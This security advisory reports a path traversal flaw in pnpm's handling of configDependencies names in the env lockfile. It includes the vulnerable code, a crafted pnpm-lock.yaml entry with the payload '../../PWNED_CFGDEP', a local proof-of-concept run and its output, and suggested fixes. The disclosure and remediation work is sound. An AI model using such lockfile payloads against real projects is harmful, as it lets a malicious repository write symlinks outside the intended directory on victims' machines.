pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config

Summary

pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.

A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.

In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:

expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This works with --ignore-scripts, so it does not rely on lifecycle script execution.

Vulnerable behavior

The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.

The relevant pattern is:

const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')

for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
  const configDepPath = path.join(configModulesDir, pkgName)

  const pkgDirInGlobalVirtualStore = path.join(
    globalVirtualStoreDir,
    relPath,
    'node_modules',
    pkgName
  )

  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}

If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.

Impact

A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.

This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.

The issue is especially relevant because:

• The malicious input is committed in pnpm-lock.yaml.
• The issue is triggered during pnpm install.
• It works with --ignore-scripts.
• It occurs in the config dependency installation path, before ordinary dependency installation.
• The user only needs to install a malicious or compromised repository.

Local proof of concept

The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.

Command used:

python3 ../pnpm_configdeps_path_traversal_poc.py \
  --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
  --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log

Observed output:

[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry:     http://127.0.0.1:36545/
[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name:     '../../PWNED_CFGDEP'
[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/

pnpm output:

Installing config dependencies...
Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
Already up to date

Done in 906ms using pnpm v11.5.1

The PoC then detected the escaped symlink:

[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

Malicious lockfile structure

The malicious input is an env-lockfile configDependencies key containing traversal components:

importers:
  .:
    configDependencies:
      legit-config-dep:
        specifier: '1.0.0'
        version: '1.0.0'
      '../../PWNED_CFGDEP':
        specifier: '1.0.0'
        version: '1.0.0'

pnpm accepts the traversal-shaped name and reports it as installed:

Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0

Security boundary violation

The intended config dependency root was:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config

But pnpm created:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.

Suggested remediation

Validate every configDependencies key loaded from the env lockfile before using it as a package name or path component.

Recommended fixes:

1. Reject env-lockfile configDependencies names that are not valid npm package names.

2. Reject names containing absolute paths, . components, .. components, backslashes, or platform-specific path separators.

3. Use containment-checked path joining before creating symlinks:

   • resolve the final destination path,
   • verify it remains inside node_modules/.pnpm-config,
   • reject if it escapes.

4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.

5. Intersect env-lockfile configDependencies with the effective pnpm-workspace.yaml configDependencies before installing, so extra lockfile-only entries are rejected.

A safe destination check should enforce behavior equivalent to:

const dest = path.resolve(configModulesDir, pkgName)

if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
  throw new Error(`Invalid config dependency name: ${pkgName}`)
}

Name validation should happen before this check, not instead of it.